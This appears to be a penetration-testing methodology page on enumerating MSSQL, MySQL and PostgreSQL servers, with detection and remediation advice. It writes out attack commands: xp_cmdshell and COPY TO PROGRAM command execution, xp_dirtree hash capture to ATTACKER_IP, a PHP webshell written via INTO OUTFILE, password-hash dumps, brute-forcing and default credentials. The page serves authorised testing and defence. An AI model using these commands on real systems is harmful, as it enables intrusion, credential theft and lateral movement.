Database Enumeration
Databases are where the data actually lives, and MSSQL is also a Windows service with an Active Directory identity — which makes it both a confidentiality finding and a lateral-movement path.
Four engines account for almost everything on an internal network, and each one turns a login into a different kind of access. The table is the decision the rest of the page expands:
| Engine | Port | Privilege that matters | What it buys you |
|---|---|---|---|
| MSSQL | 1433, UDP 1434 for named instances | sysadmin, CONTROL SERVER, IMPERSONATE, db_owner |
OS command execution as the service account, linked-server hops, NetNTLM capture |
| MySQL / MariaDB | 3306 | FILE, ALL PRIVILEGES ON *.* |
File read and write on the database host — a webshell path when the app is co-hosted |
| PostgreSQL | 5432 | superuser, or pg_execute_server_program from v11 |
COPY ... TO PROGRAM — shell as the postgres OS user |
| MongoDB / Redis / Elasticsearch | 27017, 6379, 9200 | Often none required at all | Bulk data access. This page covers the port and default-credential check only; the engine-specific exploitation is a separate job |
Discovery
Finding the database is the easy half; deciding whether it matters is the hard half. A listener on 1433 is common and often belongs to a forgotten application; a listener with a domain-registered SPN is a service running as an AD account, which is more interesting because the account's privileges become yours if you reach sysadmin. Record for each host which engine, which port, whether the instance name is non-default, and whether the login you have is a SQL login or a Windows one — the last point decides which credential attacks apply.
Port Scanning
MSSQL also advertises itself on UDP 1434 through the SQL Browser service, which is how you find named instances that are not on 1433 — query it before assuming a host has no database. The other engines are identified by their default port alone, and a version probe is usually enough to tell support status: an end-of-life MySQL 5.7 or PostgreSQL 9.x is a finding independent of what is stored in it.
# Database ports
nmap -p 1433,1434,3306,5432,1521,27017,6379,9200 -sV TARGET
# Common database ports:
# 1433/tcp - MSSQL
# 1434/udp - MSSQL Browser
# 3306/tcp - MySQL/MariaDB
# 5432/tcp - PostgreSQL
# 1521/tcp - Oracle
# 27017/tcp - MongoDB
# 6379/tcp - Redis
# 9200/tcp - Elasticsearch
# Full database scan
nmap -sV -sC --script=*-sql*,*-mysql*,*-pgsql*,*-oracle* TARGETSPN Discovery (MSSQL)
The SPN route finds MSSQL instances that a port scan can miss and tells you which account each one runs
as. MSSQLSvc/host:1433 registered on a user account means the service runs as that user —
and that user is a Kerberoasting candidate. If the SPN sits on a machine account
(host$), the service runs as Local System or the virtual account, which is worse for the
defender and better for you: sysadmin on that instance is usually SYSTEM on the host.
# Find MSSQL servers via SPN
GetUserSPNs.py corp.local/user:password -dc-ip DC_IP | grep MSSQL
# LDAP query
ldapsearch -x -H ldap://DC_IP -D "user@corp.local" -W \
-b "DC=corp,DC=local" "(servicePrincipalName=*MSSQL*)" sAMAccountName servicePrincipalName
# PowerView
Get-DomainUser -SPN | Where-Object {$_.servicePrincipalName -like '*MSSQL*'}
# nxc
nxc mssql 10.0.0.0/24 -u user -p passMSSQL Enumeration
Tip
The first useful result on an MSSQL box is not a table, it is a role:
SELECT IS_SRVROLEMEMBER('sysadmin') returning 1 means you own the instance, and public
role membership means you mostly do not. MSSQL exposes several distinct privileges that each open a
different door — CONTROL SERVER is equivalent to sysadmin, IMPERSONATE lets
you become another login, and db_owner on a single database is enough for code execution
through a database-level route. Check the role before you enumerate anything, because an instance you
cannot escalate is a data-exposure question and one you can is a host-compromise question.
Basic Connection
-windows-auth is the flag that changes everything: it authenticates with the current
Windows token (or a supplied hash via -hashes) instead of a SQL login, so a domain account
with instance access gets in without knowing a database password. A failed SQL login returns error
18456 with a state number, and the state is the useful part: it distinguishes a bad password from an
expired one, a disabled login, and a valid login that lacks access to the server. One look at the state
tells you whether to keep guessing or to pursue the account's configuration.
# Impacket mssqlclient
mssqlclient.py corp.local/user:password@SQL_SERVER
mssqlclient.py corp.local/user:password@SQL_SERVER -windows-auth
# sqsh
sqsh -S SQL_SERVER -U sa -P password
sqsh -S SQL_SERVER -U corp.local\user -P password
# nxc
nxc mssql SQL_SERVER -u user -p pass -d corp.local
# Test local auth
nxc mssql SQL_SERVER -u sa -p 'password' --local-authDatabase Enumeration
Enumerate by name before you enumerate by row: the database list tells you which application owns the
instance, and the table list tells you whether it holds personal data, payment data or just
configuration. Stop at the schema unless the client has authorised data access — a table listing is
usually sufficient evidence that the instance is exposed, and it does not require you to sit in
production data. The one query worth running beyond the schema is the table search for
user, pass and credit, because it finds the tables whose names
are the finding.
-- Server info
SELECT @@version;
SELECT @@servername;
SELECT DB_NAME();
SELECT CURRENT_USER;
SELECT SYSTEM_USER;
-- List databases
SELECT name FROM master.sys.databases;
-- List tables in database
SELECT * FROM INFORMATION_SCHEMA.TABLES;
-- List columns
SELECT * FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='users';
-- Find interesting data
SELECT name FROM sys.tables WHERE name LIKE '%user%';
SELECT name FROM sys.tables WHERE name LIKE '%pass%';
SELECT name FROM sys.tables WHERE name LIKE '%credit%';Privilege Checking
Impersonation is the most under-reported MSSQL escalation and the easiest to test: the query lists
logins this login may become, and EXECUTE AS LOGIN = 'sa' proves it. The REVERT
matters — leaving the context switched is how people accidentally run the rest of the engagement as
sa. On a hardened instance the list is empty and the answer is in the database-level
ownership instead, where db_owner on msdb is often enough to reach
sysadmin through a SQL Agent job.
-- Check if sysadmin
SELECT IS_SRVROLEMEMBER('sysadmin');
SELECT IS_SRVROLEMEMBER('serveradmin');
SELECT IS_SRVROLEMEMBER('dbcreator');
-- Current user roles
SELECT dp.name, sp.name
FROM sys.server_principals sp
JOIN sys.server_role_members srm ON sp.principal_id = srm.role_principal_id
JOIN sys.server_principals dp ON srm.member_principal_id = dp.principal_id;
-- Impersonation
SELECT distinct b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE';
-- Impersonate user
EXECUTE AS LOGIN = 'sa';
SELECT SYSTEM_USER;
REVERT;xp_cmdshell
Danger
xp_cmdshell needs sysadmin, it runs as the SQL Server service account, and enabling it is a
configuration change on a production server. Record value_in_use before you touch
sp_configure, get the change into the rules of engagement, and turn it back off as part of
cleanup — a server left with xp_cmdshell enabled is a finding you created. The same fence
applies to reading rows: a table listing is evidence that the instance is exposed, whereas selecting
customer records is a data-access decision the client has to make explicitly.
sys.configurations reports both the configured value and
value_in_use; if the two differ, someone changed the setting and it needs a restart. The
command runs as the SQL Server service account, so whoami is the first thing to run — the
answer tells you whether you have SYSTEM, a virtual service account or a domain account, and therefore
what the host compromise is worth. Enabling it is a configuration change that must be reverted:
record the original value_in_use before you run
sp_configure, and turn it back off as part of cleanup.
-- Check xp_cmdshell status
SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell';
-- Enable xp_cmdshell (requires sysadmin)
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
-- Execute commands
EXEC xp_cmdshell 'whoami';
EXEC xp_cmdshell 'hostname';
EXEC xp_cmdshell 'ipconfig';
-- Impacket
mssqlclient.py user:password@SQL_SERVER -windows-auth
SQL> enable_xp_cmdshell
SQL> xp_cmdshell whoamiLinked Servers
A linked server is a trust relationship configured by a DBA, and it is a path the network team cannot
see: the connection may use a stored login with credentials you never see, so
OPENQUERY reaches a host your account has no access to. Map the links before you use them —
a single-hop link is one server, a chain (SERVER1 to SERVER2 and on) is a
route across the estate. Check whether the link is configured with a mapped login, which is how a
low-privileged database user ends up executing as sysadmin on the destination.
-- List linked servers
EXEC sp_linkedservers;
SELECT * FROM sys.servers;
-- Test linked server connection
EXEC sp_testlinkedserver 'LINKEDSERVER';
-- Query linked server
SELECT * FROM OPENQUERY(LINKEDSERVER, 'SELECT @@version');
-- Execute on linked server
EXEC ('xp_cmdshell ''whoami''') AT [LINKEDSERVER];
-- Recursive links (double hop)
SELECT * FROM OPENQUERY("SERVER1", 'SELECT * FROM OPENQUERY("SERVER2", ''SELECT @@version'')');Hash Capture
xp_dirtree makes the SQL Server service account authenticate to a UNC path you control,
which sends a NetNTLMv2 response to your listener — the same material Responder collects, but from a
server account rather than a workstation. That hash can be cracked offline or relayed to another
service, depending on the account and the signing state of the target. You need a listener the SQL host
can reach and a share that exists, or the response never leaves the host; check the outbound SMB path
before concluding the technique failed.
-- Capture hash via xp_dirtree (requires SMB listener)
EXEC xp_dirtree '\\ATTACKER_IP\share';
-- xp_fileexist
EXEC xp_fileexist '\\ATTACKER_IP\share\file';
-- On attacker: Responder or Impacket smbserver
responder -I eth0
impacket-smbserver share . -smb2supportMySQL Enumeration
MySQL is usually a Linux application database, so the interesting findings are file access and
credential reuse rather than Windows privilege escalation. Two questions decide what you can do:
which account you landed on (the user@host pair matters — root@localhost is
not root@%) and whether that account holds the FILE privilege, which turns a
database login into a filesystem reader and writer.
Basic Connection
# Connect
mysql -h TARGET -u root -p
mysql -h TARGET -u user -ppassword
# nxc (if supported)
# Or use Hydra for bruteforce
hydra -l root -P passwords.txt TARGET mysqlDatabase Enumeration
SHOW DATABASES and SHOW GRANTS answer the two questions that matter, and the
grant output is the more useful of the two because it states what you may do rather than what exists.
A grant of ALL PRIVILEGES ON *.* is a full compromise of the instance; a grant limited to
one schema narrows the report to that application. Note the server version while you are there —
version-specific privilege escalation for MySQL depends on it.
-- Version info
SELECT @@version;
SELECT version();
-- Current user
SELECT user();
SELECT current_user();
-- List databases
SHOW DATABASES;
-- List tables
USE database_name;
SHOW TABLES;
-- Table structure
DESCRIBE table_name;
-- Privileges
SHOW GRANTS;
SHOW GRANTS FOR 'user'@'host';User Credentials
The mysql.user table holds password hashes for every account the instance knows about, and
the column names changed at 5.7: Password became authentication_string, and
the hash format became a $A$ or *-prefixed value that cracks with hashcat
mode 300. Read this table when you already have privilege on the instance, not before — it is the
moment a database finding becomes a credential-reuse finding, because DBAs reuse passwords on other
services.
-- MySQL 5.7+
SELECT Host, User, authentication_string FROM mysql.user;
-- MySQL 5.6 and earlier
SELECT Host, User, Password FROM mysql.user;
-- All user privileges
SELECT * FROM information_schema.user_privileges;File Operations
LOAD_FILE and INTO OUTFILE require the FILE privilege and are
constrained by secure_file_priv, so check that setting before concluding the technique
is blocked. Writing into a web root is the classic route from database to shell, but it depends on the
database host also running the web application — on a split architecture it writes to the wrong
machine. Read /etc/passwd first as the least invasive proof that FILE is held, and note
that the file write itself is a change you must remove.
-- Read files (requires FILE privilege)
SELECT LOAD_FILE('/etc/passwd');
-- Write files
SELECT 'test' INTO OUTFILE '/tmp/test.txt';
-- Webshell (if web directory writable)
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';PostgreSQL Enumeration
PostgreSQL is the most privilege-sensitive of the three, because a superuser can execute commands and read files through built-in functions with no extension required. The whole engagement on a Postgres host reduces to one question: is the login you have a superuser?
Basic Connection
# Connect
psql -h TARGET -U postgres
psql -h TARGET -U user -d database
# With password
PGPASSWORD='password' psql -h TARGET -U postgresDatabase Enumeration
-- Version
SELECT version();
-- Current user
SELECT current_user;
SELECT session_user;
-- List databases
\l
SELECT datname FROM pg_database;
-- List tables
\dt
SELECT tablename FROM pg_tables WHERE schemaname='public';
-- List users
\du
SELECT usename FROM pg_user;
-- User privileges
SELECT * FROM information_schema.role_table_grants;Command Execution
COPY ... TO PROGRAM runs a shell command as the postgres OS user and needs
superuser — or, from PostgreSQL 11, the pg_execute_server_program role — so the check is one
query before it. Reading files has a second path that works without
superuser on some builds — large objects via lo_import — but both are the same finding:
the database login is an OS-level compromise. Note what user the process runs as when you run
id; on a container deployment it may be less than you expect.
-- Check if superuser
SELECT current_setting('is_superuser');
-- COPY command (requires superuser)
COPY (SELECT '') TO PROGRAM 'id';
COPY (SELECT '') TO PROGRAM 'whoami > /tmp/whoami.txt';
-- Read file
CREATE TABLE tmp(data text);
COPY tmp FROM '/etc/passwd';
SELECT * FROM tmp;
-- Large objects
SELECT lo_import('/etc/passwd', 12345);
\lo_export 12345 /tmp/passwd.txtNmap Scripts
These scripts are worth running once per host because they answer the low-effort questions in a single
pass: which version, whether an empty or default password works, and what the instance will tell an
unauthenticated client. ms-sql-empty-password and mysql-empty-password are the
ones that occasionally end the phase; the rest are information gathering that saves you a manual
connection. Do not run the -brute variants against an estate you have not agreed a lockout
budget for.
# MSSQL
nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes -p 1433 TARGET
# MySQL
nmap --script mysql-info,mysql-enum,mysql-empty-password,mysql-brute,mysql-databases,mysql-users,mysql-variables -p 3306 TARGET
# PostgreSQL
nmap --script pgsql-brute -p 5432 TARGET
# Oracle
nmap --script oracle-sid-brute,oracle-brute -p 1521 TARGET
# MongoDB
nmap --script mongodb-info,mongodb-databases,mongodb-brute -p 27017 TARGETnxc MSSQL
NetExec is the fastest way to answer "does this credential work on this instance" across a subnet,
because it reports the authentication result, the SQL role and the host in one line.
-q runs a query, -x runs a command through xp_cmdshell and
-X runs a PowerShell command — the last two need sysadmin, so treat a successful
-x as proof of host compromise rather than as another enumeration step.
# Authentication test
nxc mssql TARGET -u user -p pass -d corp.local
# Execute query
nxc mssql TARGET -u user -p pass -d corp.local -q "SELECT @@version"
# Execute command
nxc mssql TARGET -u user -p pass -d corp.local -x "whoami"
# PowerShell command
nxc mssql TARGET -u user -p pass -d corp.local -X "Get-Process"
# Get hashes (requires privileges)
nxc mssql TARGET -u user -p pass -d corp.local --get-hashDefault Credentials
Default credentials still work more often than they should, and the ordering matters for safety. Try
the engine's local accounts first — a SQL login, a MySQL user, a Postgres role — because those are
governed by the database's own policy and SQL Server does not lock logins out by default. Test the
Windows-authentication path last, because that one does follow AD lockout. A hit on a default
credential is a finding about process, not about the password: note whether the account is
sa, whether it is still enabled, and whether the same password appears on other hosts.
# MSSQL
sa:sa
sa:password
sa:Password123
sa:(blank)
# MySQL
root:(blank)
root:root
root:mysql
root:password
# PostgreSQL
postgres:(blank)
postgres:postgres
postgres:password
# Oracle
scott:tiger
sys:change_on_install
system:manager
# MongoDB
(no auth by default)
admin:adminWhat the Defender Sees
Database hosts are the worst-covered part of most estates: the engine has its own log, and it is usually not shipped anywhere. What to ask the blue team for:
- Error 18456: failed SQL logins, in the SQL Server ERRORLOG rather than the Windows event log. A burst from one source is the spray; a single state 18 (password must be changed) on one account is a stale service credential worth noticing.
- Windows logons: 4624 type 3 or type 5 from the SQL host to another machine — the signature of
xp_dirtreeand of linked-server authentication — plus 5145 on the share that was contacted. - Configuration changes:
xp_cmdshellenabled,sp_configurerun, a login added tosysadmin. SQL Server audit can capture these; without it, the change is invisible after the fact. - Process ancestry:
sqlservr.exespawningcmd.exeorwhoami.exeis the endpoint-side tell forxp_cmdshell, and it is the one detection that does not depend on database logging being enabled.
Evidence Collection
A database finding is a role result plus a host result, and the report needs both: an instance you can read from and a host you can execute on are different severities.
Role result:
The output of IS_SRVROLEMEMBER('sysadmin') or SHOW GRANTS / current_setting('is_superuser'), with the login used. That single line decides whether the finding is data exposure or host compromise.
Instance inventory: Engine, version, instance name and whether the login is a SQL login or a Windows one. The last point decides which credential attacks apply and which lockout policy is in play.
Command-execution proof:
For MSSQL: xp_cmdshell 'whoami' output, and the service account it returned. For PostgreSQL: the output of COPY ... TO PROGRAM 'id'. Report the account, not just "RCE".
Configuration state:
The value_in_use for xp_cmdshell before and after your change, and the cleanup command you ran. This is what proves you left the server as you found it.
Linked-server map:
Each link, its login mapping and whether OPENQUERY succeeded — a chain across the estate is a lateral-movement finding and needs the path written down.
False Positive Identification
-
SQL logins do not follow AD lockout:
A successful
saguess is a finding about process, not a password-policy finding. Report it as a default credential with the role it holds. - A sysadmin on a lab instance: A developer instance on a workstation with sysadmin is not domain compromise. Grade it by what the service account can reach on that host and nothing more.
- Error 18456 state 18: State 18 means the password must be changed, not that the account is disabled — the login is valid and the secret is live. Record the state code and let the DBA interpret it; reporting it as a brute-force success is the wrong conclusion.
-
A table name that looks sensitive:
A table called
usersmay hold three test rows. Name the table and the row count you actually saw, or the severity is guesswork.
Testing Checklist
A database result is two claims, not one: what the login can read, and whether the host will execute. Test them in that order.
Confirm the login and the role
- ☐ The login is identified as SQL or Windows, because that decides which lockout policy applies to it.
- ☐
IS_SRVROLEMEMBER('sysadmin'),SHOW GRANTSorcurrent_setting('is_superuser')returns the role, and that single line sets the severity. - ☐
xp_cmdshell 'whoami'orCOPY ... TO PROGRAM 'id'returns an account name, not an empty result. - ☐ A linked server is confirmed with
OPENQUERYagainst the next hop, not inferred from the link list.
Confirm the impact and the cleanup
- ☐
xp_cmdshell'svalue_in_useis captured before and after, with the command that restored it. - ☐ Hash capture to your listener shows the NetNTLM line before credential exposure is claimed.
- ☐ An
saor default-credential success is reported as a default credential with its role, not as a password-policy finding. - ☐ Table names are recorded with the row count actually observed, so severity is not guessed from a name.
Remediation & Defense
The fixes divide into what the database grants and what the host exposes.
Reduce database privilege
- • Run applications on a least-privilege login with no <code>db_owner</code> and no <code>IMPERSONATE</code>
- • Leave <code>xp_cmdshell</code> disabled, and alert if it is re-enabled
- • Audit linked servers: remove unused ones and use a mapped login with minimum rights
Protect the host and the data
- • Run the engine as a low-privilege virtual account, not a domain account with rights elsewhere
- • Restrict <code>secure_file_priv</code> and remove <code>FILE</code> from application accounts
- • Encrypt backups and restrict who can read them; a backup is the whole database
Detection
- • Ship the SQL Server ERRORLOG and audit log to the SIEM; error 18456 bursts are the spray signature
- • Alert on <code>sqlservr.exe</code> spawning <code>cmd.exe</code>, <code>whoami.exe</code> or PowerShell
- • Monitor outbound SMB from database hosts, which is the <code>xp_dirtree</code> signature